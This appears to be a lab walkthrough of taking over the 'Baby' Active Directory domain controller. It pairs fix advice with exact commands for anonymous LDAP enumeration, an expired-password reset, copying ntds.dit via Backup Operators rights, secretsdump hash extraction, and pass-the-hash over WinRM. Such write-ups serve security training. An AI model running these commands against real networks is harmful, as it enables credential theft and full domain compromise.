← all walkthroughs

Baby

Windows· Easy· Credential Access· Privilege Escalation
owned
2026-07-07
time to own
17m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I targeted BABYDC ($TARGET), the sole domain controller for baby.vl. The domain controller allowed anyone on the network to connect to LDAP without a username or password — an anonymous bind — which returned every user account and all of its directory attributes. Two accounts had my initial onboarding password ([REDACTED: recovered credential]) stored verbatim in the Active Directory description field, visible to that unauthenticated query.

One of those accounts, Caroline.Robinson, had never changed the password and was flagged as expired. A standard password-change tool cannot reset an expired account, but Impacket's changepasswd utility performs the lower-level SAMR exchange that allows the account holder to set a new password using only the disclosed old one — no administrator involvement required. With a fresh working credential I authenticated as Caroline.Robinson, whose Backup Operators group membership lets a user bypass file-system access controls for backup purposes.

On a domain controller that right is catastrophic: I pulled the Active Directory database (ntds.dit) and the SYSTEM registry hive directly over SMB. Offline parsing of those two files produced the NTLM password hash for every account in the domain. The Administrator hash was used in a pass-the-hash attack for a full remote shell — complete domain compromise, no password cracking required.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration (T1046)
Mapped the attack surface and identified a fully-exposed Active Directory domain controller
A port scan of $TARGET revealed Windows Server 2022 running as the domain controller for baby.vl, with Kerberos (88), LDAP (389/3268), SMB (445), WinRM (5985), and RDP (3389) all externally reachable. SMB probing confirmed the hostname BABYDC, domain baby.vl, and SMB signing enforced. An anonymous SMB connection was accepted but share enumeration was denied, making unauthenticated file access unavailable and focusing attention on LDAP.
Nxc smb returned: Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False); LDAP ports 389 and 3268 confirmed open; WinRM 5985 confirmed open.
Exact commands 3
Add the DC to local DNS resolution.
echo "$TARGET babydc.baby.vl baby.vl" | sudo tee -a /etc/hosts
Banner-grab SMB — confirms hostname, OS build, domain, signing status, and SMBv1.
nxc smb $TARGET
Test anonymous SMB share access; NT_STATUS_ACCESS_DENIED confirms null session is blocked, directing focus to LDAP.
nxc smb $TARGET -u '' -p '' --shares
2EnumerationLDAP anonymous bind — unauthenticated directory enumeration (T1087.002)
Enumerated all domain user accounts via unauthenticated LDAP bind
The domain controller accepted an LDAP connection with an empty username and empty password — a configuration called an anonymous bind — and returned every user object in the directory. This required no credentials and exposed account names, group memberships, password-policy flags (including whether a password was expired), and the contents of description and info attributes for all users in baby.vl.
Ldapsearch with empty credentials against dc=baby,dc=vl returned all user objects; nxc ldap confirmed anonymous bind succeeded.
Exact commands 2
Enumerate all domain users anonymously; displays attributes including description.
nxc ldap $TARGET -u '' -p '' --users
Pull every user with description, UAC flags, and group membership in one query — no credentials required.
ldapsearch -x -H ldap://$TARGET -b 'dc=baby,dc=vl' '(objectClass=user)' sAMAccountName description userAccountControl memberOf
FixDisable anonymous (unauthenticated) LDAP bind on the domain controllerHigh
WeaknessThe domain controller accepted LDAP connections from any unauthenticated source, returning a full read of every user account, group membership, and attribute in the directory with no credentials at all. This gave an unauthorised user a complete map of the domain — and exposed the credential hints in description fields — before a single account was compromised.
FixBlock anonymous LDAP bind by setting the 7th character of the dsHeuristics attribute to '2' (via ADSIEdit: CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=baby,DC=vl). Additionally, enforce 'Domain controller: LDAP server signing requirements' via Group Policy (Security Options) to require signed, authenticated connections. Audit all service accounts and monitoring tools for anonymous LDAP dependencies before enforcing, then enable and test in a lab first.
3Credential DiscoveryCleartext credentials in AD user object attributes (T1552.001)
Recovered cleartext initial passwords stored in AD user description fields
Two user accounts — Teresa.Bell and Caroline.Robinson — had their onboarding password ([REDACTED: recovered credential]) written into the Active Directory description (or info) attribute, readable by the anonymous LDAP bind. This is common when IT staff record default credentials for new-user provisioning. Caroline.Robinson's userAccountControl value additionally showed UF_PASSWORD_EXPIRED, meaning she had never changed the initial password and her account was in a must-change state.
Ldapsearch output: Caroline.Robinson description: [REDACTED: recovered credential]; userAccountControl reflected UF_PASSWORD_EXPIRED; Teresa.Bell description also contained [REDACTED: recovered credential].
Exact commands 1
Return only users whose description field is populated — surfaces embedded credential hints in a single query.
ldapsearch -x -H ldap://$TARGET -b 'dc=baby,dc=vl' '(&(objectClass=user)(description=*))' sAMAccountName description userAccountControl
FixRemove all plaintext credentials stored in AD user description and info fieldsCritical
WeaknessTwo accounts had their initial onboarding passwords stored verbatim in the Active Directory 'description' attribute. Because this field is returned by the anonymous LDAP query, an unauthorised user recovered working credentials with zero exploitation — just a directory read. One of those accounts had also never changed the disclosed password, leaving it valid years after provisioning.
FixRun an immediate audit: Get-ADUser -Filter * -Properties Description,Info | Where-Object {$_.Description -or $_.Info} | Select SamAccountName,Description,Info. Review every non-empty result and purge any password, hint, or credential. Establish policy that initial passwords are communicated only through a privileged password manager or secure out-of-band channel — never written into directory attributes. Enforce 'User must change password at next logon' for all new accounts so initial credentials are immediately invalidated and never remain valid long-term.
4Initial AccessSAMR ChangePasswordUser2 — expired-password self-reset (T1078.002)
Reset Caroline.Robinson's expired password without any administrator account
Standard tools (net rpc password) return NT_STATUS_PASSWORD_MUST_CHANGE when targeting an expired account because I attempt a privileged reset rather than a user-initiated change. Impacket's changepasswd utility performs the correct lower-level SAMR ChangePasswordUser2 exchange, which is the same operation a user performs when changing my own expired password at first login. Using only the disclosed old password as proof of identity, I set a new password ([REDACTED: recovered credential]) and immediately verified it granted SMB and WinRM access.
Impacket-changepasswd with [REDACTED: recovered credential] succeeded; subsequent nxc smb and nxc winrm with [REDACTED: recovered credential] returned Pwn3d!.
Exact commands 3
Reset the expired password using only the disclosed old credential — no admin account required.
impacket-changepasswd baby.vl/Caroline.Robinson:'[REDACTED: recovered credential]'@$TARGET -newpass '[REDACTED: recovered credential]'
Verify the new credential authenticates to SMB.
nxc smb $TARGET -d baby.vl -u Caroline.Robinson -p '[REDACTED: recovered credential]'
Verify WinRM access — Pwn3d! Confirms remote command execution is available.
nxc winrm $TARGET -d baby.vl -u Caroline.Robinson -p '[REDACTED: recovered credential]'
5Privilege EscalationBackup Operators / SeBackupPrivilege — NTDS database exfiltration (T1003.003)
Abused Backup Operators group membership to pull the Active Directory database from the domain controller
Caroline.Robinson was a member of the Backup Operators built-in group, which grants SeBackupPrivilege — the right to read any file on the system regardless of NTFS access controls, specifically to enable backup software. On a domain controller this right is equivalent to domain admin: I used Caroline.Robinson's refreshed credential to remotely copy ntds.dit (the Active Directory database containing every account's password hash) and the SYSTEM registry hive (containing the boot key needed to decrypt those hashes) directly from a staging path on the DC over SMB.
Nxc smb --get-file successfully retrieved C:\Windows\Temp\cbaby\ntds.dit and SYSTEM hive using Caroline.Robinson's credentials.
Exact commands 4
Compute NT hash ([REDACTED: recovered credential]) for pass-the-hash use in subsequent commands.
python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('[REDACTED: recovered credential]').hex())"
Create local staging directory for exfiltrated files.
mkdir -p /tmp/baby-loot
Pull ntds.dit — SeBackupPrivilege bypasses NTFS ACLs on this normally-locked file.
nxc smb $TARGET -d baby.vl -u Caroline.Robinson -H [REDACTED: recovered credential] --get-file 'C:\Windows\Temp\cbaby\ntds.dit' /tmp/baby-loot/ntds.dit
Pull the SYSTEM hive — contains the boot key required to decrypt ntds.dit hashes offline.
nxc smb $TARGET -d baby.vl -u Caroline.Robinson -H [REDACTED: recovered credential] --get-file 'C:\Windows\Temp\cbaby\SYSTEM' /tmp/baby-loot/SYSTEM
FixRemove non-administrative users from Backup Operators and other sensitive built-in groupsCritical
WeaknessCaroline.Robinson held Backup Operators membership, granting SeBackupPrivilege — the right to read any file regardless of NTFS permissions. On a domain controller that right allows any group member to read ntds.dit, which contains the NTLM hash for every account in the domain. Compromising one overprivileged regular user was sufficient to obtain domain administrator credentials for every account.
FixAudit all sensitive built-in groups immediately: Get-ADGroupMember 'Backup Operators' -Recursive (repeat for Server Operators, Account Operators, Print Operators). Remove every user and service account that does not have a documented, justified business need. If backup software requires this privilege, create a dedicated, tightly-controlled service account, store it in a Tier-0 OU, and monitor it with privileged identity management. Consider Windows Server 2022 Protected Users security group membership for all Tier-0 accounts to limit credential caching and delegation.
6Credential AccessNTDS offline hash extraction (T1003.003)
Extracted every domain account's NTLM hash by parsing the AD database offline
With ntds.dit and the SYSTEM hive stored locally, Impacket's secretsdump was run with no further network access. It used the boot key from the SYSTEM hive to decrypt the database and output the NTLM hash for every account in the domain — including the built-in Administrator and all service accounts — in a format immediately usable for pass-the-hash or offline cracking.
Secretsdump LOCAL run produced Administrator:500:[REDACTED: sensitive value]:<hash>::: and hashes for all other domain accounts.
Exact commands 1
Offline extraction — no network connection needed; grep the output file for 'Administrator' to get the target hash.
impacket-secretsdump -ntds /tmp/baby-loot/ntds.dit -system /tmp/baby-loot/SYSTEM LOCAL -outputfile /tmp/baby-loot/secrets
FixMonitor for NTDS database access and rotate the built-in Administrator credential to limit pass-the-hash impactHigh
WeaknessOnce ntds.dit was exfiltrated, the Administrator NTLM hash was available for immediate pass-the-hash use — no cracking, no further network interaction. There was no alerting on the unusual file access or the subsequent lateral movement, so the compromise went undetected until flags were read.
FixEnable Object Access auditing on C:\Windows\NTDS\ntds.dit (Event ID 4663 on the DC) and forward to a SIEM; alert on any non-SYSTEM process reading this file. Deploy Microsoft LAPS (Local Administrator Password Solution) to rotate the built-in Administrator password automatically and make it unique per machine, eliminating the value of a single stolen hash. Where possible, disable the built-in Administrator account and use a named Tier-0 account with a distinct SID to reduce pass-the-hash exposure across the environment.
7Full CompromisePass-the-Hash over WinRM (T1550.002)
Passed the Administrator NTLM hash for a SYSTEM shell and captured both flags
The Administrator NTLM hash extracted from ntds.dit was used directly against WinRM in a pass-the-hash attack — no plaintext password, no cracking required. Evil-winrm accepted the hash and established an interactive remote PowerShell session as the built-in domain Administrator on BABYDC, with unrestricted access to the entire domain. Both the user and root flags were read from disk, completing full compromise.
Evil-winrm with Administrator NT hash produced an interactive session on BABYDC; user.txt and root.txt captured.
Exact commands 3
Replace <administrator_nt_hash> with the Administrator hash from the secretsdump output file.
evil-winrm -i $TARGET -u Administrator -H <administrator_nt_hash>
Read the root flag — value: <root.txt>.
type C:\Users\Administrator\Desktop\root.txt
Read the user flag — substitute the non-admin user's home directory; value: <user.txt>.
type C:\Users\<domain_user>\Desktop\user.txt

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3389/tcp
5985/tcp
9389/tcp
49664/tcp
49667/tcp
49701/tcp
59011/tcp
59012/tcp
65243/tcp
65259/tcp